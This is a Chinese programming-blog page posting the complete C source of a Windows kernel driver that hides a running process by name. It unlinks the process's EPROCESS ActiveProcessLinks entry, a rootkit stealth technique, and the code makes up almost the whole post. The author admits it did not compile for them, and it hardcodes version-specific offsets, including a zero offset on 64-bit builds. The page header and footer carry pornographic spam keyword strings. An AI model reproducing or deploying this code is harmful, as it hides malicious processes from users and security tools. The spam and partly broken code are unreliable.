日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

内核隐藏进程(源码)

發(fā)布時(shí)間:2024/4/11 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 内核隐藏进程(源码) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

自己測(cè)試的時(shí)候編譯失敗了,提示是這個(gè)PsGetProcessImageFileName API找不到鏈接庫(kù),目測(cè)可能是我的DDK版本不夠新,先記錄下,改天再升級(jí)ddk做測(cè)試。


  • #include?<ntifs.h>??
  • #include?<ntddk.h>??
  • #include?<Ntstrsafe.h>??
  • ??
  • NTKERNELAPI?UCHAR?*PsGetProcessImageFileName(PEPROCESS?Process);??
  • ??
  • ??
  • #ifndef?MAX_PATH??
  • #define?MAX_PATH??????????260??
  • #endif??
  • ??
  • ??
  • DWORD???????????????????g_OsVersion;????????????????????????????????????????????//系統(tǒng)版本????
  • ????????????????????????????????????????????????????????????????????????????????//操作系統(tǒng)版本????
  • #define?WINXP???????????????????51????
  • #define?WIN7????????????????????61????
  • #define?WIN8????????????????????62????
  • #define?WIN81???????????????????63????
  • #define?WIN10???????????????????100????
  • ??
  • ????????????????????????????????????????????????????????????????????????????????//獲取系統(tǒng)版本????
  • BOOLEAN?GetOsVer(void);??
  • ??
  • ??
  • ULONG_PTR?EprocessActiveProcessLinks;??
  • ??
  • //獲取ActiveProcessLinks??
  • ULONG_PTR?GetEprocessActiveProcessLinks();??
  • ??
  • //隱藏進(jìn)程??
  • NTSTATUS?HideProcess(ULONG?Processid);??
  • ??
  • //獲取進(jìn)程Processid??
  • ULONG?GetProcessProcessid(char*?pProcessName);??
  • ??
  • VOID?DriverUnload(IN?PDRIVER_OBJECT?DriverObject)??
  • {??
  • ??
  • ????return;??
  • }??
  • ??
  • ??
  • NTSTATUS?DriverEntry(IN?PDRIVER_OBJECT?DriverObject,?IN?PUNICODE_STRING?RegistryPath)??
  • {??
  • ????NTSTATUS?status;??
  • ????DriverObject->DriverUnload?=?DriverUnload;??
  • ??
  • ????DbgBreakPoint();??
  • ????HideProcess(GetProcessProcessid("explorer.exe"));??
  • ????return?STATUS_SUCCESS;??
  • }??
  • ??
  • //隱藏進(jìn)程??
  • NTSTATUS?HideProcess(ULONG?Processid)??
  • {??
  • ????//定義變量??
  • ????KIRQL?Kirql;??
  • ????PLIST_ENTRY?plistprocsTarge?=?NULL;??
  • ????PLIST_ENTRY?plistprocsSource?=?NULL;??
  • ????NTSTATUS?status;??
  • ????PEPROCESS?Process?=?NULL;??
  • ??
  • ????//參數(shù)效驗(yàn)??
  • ????if?(Processid?<=?4)return?STATUS_UNSUCCESSFUL;??
  • ??
  • ????//獲取系統(tǒng)??
  • ????if?(GetOsVer()?==?FALSE)return?STATUS_UNSUCCESSFUL;??
  • ??
  • ????//獲取ActiveProcessLinks??
  • ????if?(EprocessActiveProcessLinks?==?NULL)??
  • ????{??
  • ????????EprocessActiveProcessLinks?=?GetEprocessActiveProcessLinks();??
  • ????????if?(EprocessActiveProcessLinks?==?NULL)return?STATUS_UNSUCCESSFUL;??
  • ????}??
  • ??
  • ????//獲取PEPROCESS??
  • ????status?=?PsLookupProcessByProcessId(Processid,?&Process);??
  • ????if?(NT_SUCCESS(status))??
  • ????{??
  • ????????plistprocsSource?=?(PLIST_ENTRY)((ULONG_PTR)Process?+?EprocessActiveProcessLinks);??
  • ????????Kirql?=?KeRaiseIrqlToDpcLevel();??
  • ????????//*((PULONG_PTR)plistprocsSource->Blink)?=?(ULONG_PTR)plistprocsSource->Flink;??
  • ????????//*((PULONG_PTR)plistprocsSource->Flink?+?1)?=?(ULONG_PTR)plistprocsSource->Blink;??
  • ????????RemoveEntryList(plistprocsSource);??
  • ????????InitializeListHead(plistprocsSource);??
  • ????????KeLowerIrql(Kirql);??
  • ????????ObfDereferenceObject(Process);??
  • ????}??
  • ????return?status;??
  • }??
  • ??
  • ??
  • //獲取ActiveProcessLinks??
  • ULONG_PTR?GetEprocessActiveProcessLinks()??
  • {??
  • ????//_EPROCESS???
  • ??
  • #ifdef?_WIN64??
  • ????EprocessActiveProcessLinks?=?0x00;??
  • #else??
  • ????switch?(g_OsVersion)??
  • ????{??
  • ????case?WINXP:??
  • ????????EprocessActiveProcessLinks?=?0x088;??
  • ????????break;??
  • ????case?WIN7:??
  • ????case?WIN8:??
  • ????case?WIN81:??
  • ????case?WIN10:??
  • ????????EprocessActiveProcessLinks?=?0x0b8;??
  • ????????break;??
  • ????default:??
  • ????????break;??
  • ????}??
  • #endif??
  • ??
  • ????return?EprocessActiveProcessLinks;??
  • }??
  • ??
  • ??
  • //獲取進(jìn)程Processid??
  • ULONG?GetProcessProcessid(char*?pProcessName)??
  • {??
  • ????//參數(shù)效驗(yàn)??
  • ????if?(MmIsAddressValid(pProcessName)?==?FALSE)return?NULL;??
  • ??
  • ??
  • ????//定義變量??
  • ????PEPROCESS?pEprocess?=?NULL;??
  • ????NTSTATUS?ntstatus?=?STATUS_SUCCESS;??
  • ????UCHAR?*szProcessName?=?NULL;??
  • ????ULONG???Processid?=?0;??
  • ??
  • ????for?(int?i?=?4;?i?<?10000;?i?=?i?+?4)?//一般來(lái)說(shuō)沒(méi)有超過(guò)100000的PID和TID??
  • ????{??
  • ????????//進(jìn)程ID和返回一個(gè)引用指針的過(guò)程EPROCESS結(jié)構(gòu)??
  • ????????ntstatus?=?PsLookupProcessByProcessId((HANDLE)i,?&pEprocess);??
  • ????????if?(NT_SUCCESS(ntstatus))//STATUS_INVALID_CID??
  • ????????{??
  • ????????????if?(pEprocess?!=?NULL)??
  • ????????????{??
  • ????????????????//比較進(jìn)程名??
  • ????????????????szProcessName?=?PsGetProcessImageFileName(pEprocess);??
  • ????????????????if?(szProcessName)??
  • ????????????????{??
  • ????????????????????if?(_stricmp((char*)szProcessName,?pProcessName)?==?0)??
  • ????????????????????{??
  • ????????????????????????ObfDereferenceObject(pEprocess);??
  • ????????????????????????return?(HANDLE)i;??
  • ??????????????????????????
  • ????????????????????}??
  • ????????????????}??
  • ????????????}??
  • ????????????ObfDereferenceObject(pEprocess);??
  • ????????}??
  • ????}??
  • ??
  • ????return?NULL;??
  • ??
  • }??
  • ??
  • //獲取系統(tǒng)版本????
  • BOOLEAN?GetOsVer(void)??
  • {??
  • ??
  • ????ULONG????dwMajorVersion?=?0;??
  • ????ULONG????dwMinorVersion?=?0;??
  • ????PsGetVersion(&dwMajorVersion,?&dwMinorVersion,?NULL,?NULL);??
  • ????if?(dwMajorVersion?==?5?&&?dwMinorVersion?==?1)??
  • ????????g_OsVersion?=?WINXP;??
  • ????else?if?(dwMajorVersion?==?6?&&?dwMinorVersion?==?1)??
  • ????????g_OsVersion?=?WIN7;??
  • ????else?if?(dwMajorVersion?==?6?&&?dwMinorVersion?==?2)??
  • ????????g_OsVersion?=?WIN8;??
  • ????else?if?(dwMajorVersion?==?6?&&?dwMinorVersion?==?3)??
  • ????????g_OsVersion?=?WIN81;??
  • ????else?if?(dwMajorVersion?==?10?&&?dwMinorVersion?==?0)??
  • ????????g_OsVersion?=?WIN10;??
  • ????else??
  • ????{??
  • ????????g_OsVersion?=?0;??
  • ????????KdPrint(("未知版本"));??
  • ????????return?FALSE;??
  • ????}??
  • ??
  • ????return?TRUE;??
  • } ?

  • 總結(jié)

    以上是生活随笔為你收集整理的内核隐藏进程(源码)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 亚洲天天视频 | 欧美午夜在线 | 伊人久久大香线蕉av一区 | 小草av在线| 伊人视频在线观看 | 蜜臀av夜夜澡人人爽人人 | 青草视频免费在线观看 | 精品亚洲一区二区三区四区五区 | 国产成人aⅴ | 久久久久久久久久久久国产精品 | 粉嫩aⅴ一区二区三区四区五区 | 久久久久1 | 99er久久| 污av| 少妇色欲网| 爱操在线 | 总受合集lunjian双性h | japanese av在线 | 超碰97在线人人 | 国产综合在线视频 | 日韩少妇高潮抽搐 | 久久久精品影视 | 亚洲精品香蕉 | 午夜精品久久久久久久久久久久久蜜桃 | 天堂网ww | 一区二区久久 | 日日日操 | 在线免费av网址 | 日日天天干 | 精品人伦一区二区三区蜜桃免费 | 色狠狠av | 狠狠操免费视频 | 日韩乱码人妻无码系列中文字幕 | 久久91视频| 黑人黄色片 | 免费的黄网站 | 91av视频免费观看 | 精品国产自 | 特黄色大片| 女生和男生一起插插插 | 美女xx00 | 久久精品一二三 | 高潮白浆女日韩av免费看 | 免费大片黄在线观看 | 91国内精品久久久久 | 白嫩日本少妇做爰 | 国产一区资源 | 国产一区二区久久精品 | 男女草逼视频 | 毛片一卡二卡 | 日本人の夫妇交换 | 精品久久国产 | 久久精品电影网 | 西西大胆午夜视频 | 日韩欧美视频免费观看 | 欧美情侣性视频 | 韩国一级一片高清免费观看 | 中文字幕一区二区三区门四区五区 | 91在线综合 | 久久久人妻无码一区二区 | 四虎影院www | 国产毛片91| 97成人免费视频 | 91伊人网 | 国产区精品区 | 婷婷二区 | 久久人人草 | 亚洲图片欧美色图 | 国产精品一区电影 | 国产一级一级片 | www.99在线 | 国产成人无码一区二区在线播放 | 人人cao| 91插插视频 | 色悠悠国产 | www.日本高清| 中文字幕人妻一区二区三区在线视频 | 91久色 | 国产精品综合久久久久久 | 天堂网在线资源 | 亚洲不卡视频在线观看 | 精品无码一区二区三区蜜臀 | 中文字幕永久在线播放 | 麻豆一二三区 | 久久久久久人妻一区二区三区 | 高清成人免费视频 | 免费成人在线电影 | 欧美在线导航 | 久久亚洲精品石原莉奈 | 中文在线资源 | 天天操天天插 | 一本久久综合 | 德国经典free性复古xxxx | 亚洲一二三四在线观看 | 久久人人爽人人爽人人片亚洲 | 亚洲特黄毛片 | 欧美老女人性生活视频 | 日日噜噜噜夜夜爽爽狠狠视频97 | 日韩精品1区2区3区 欧美一本 |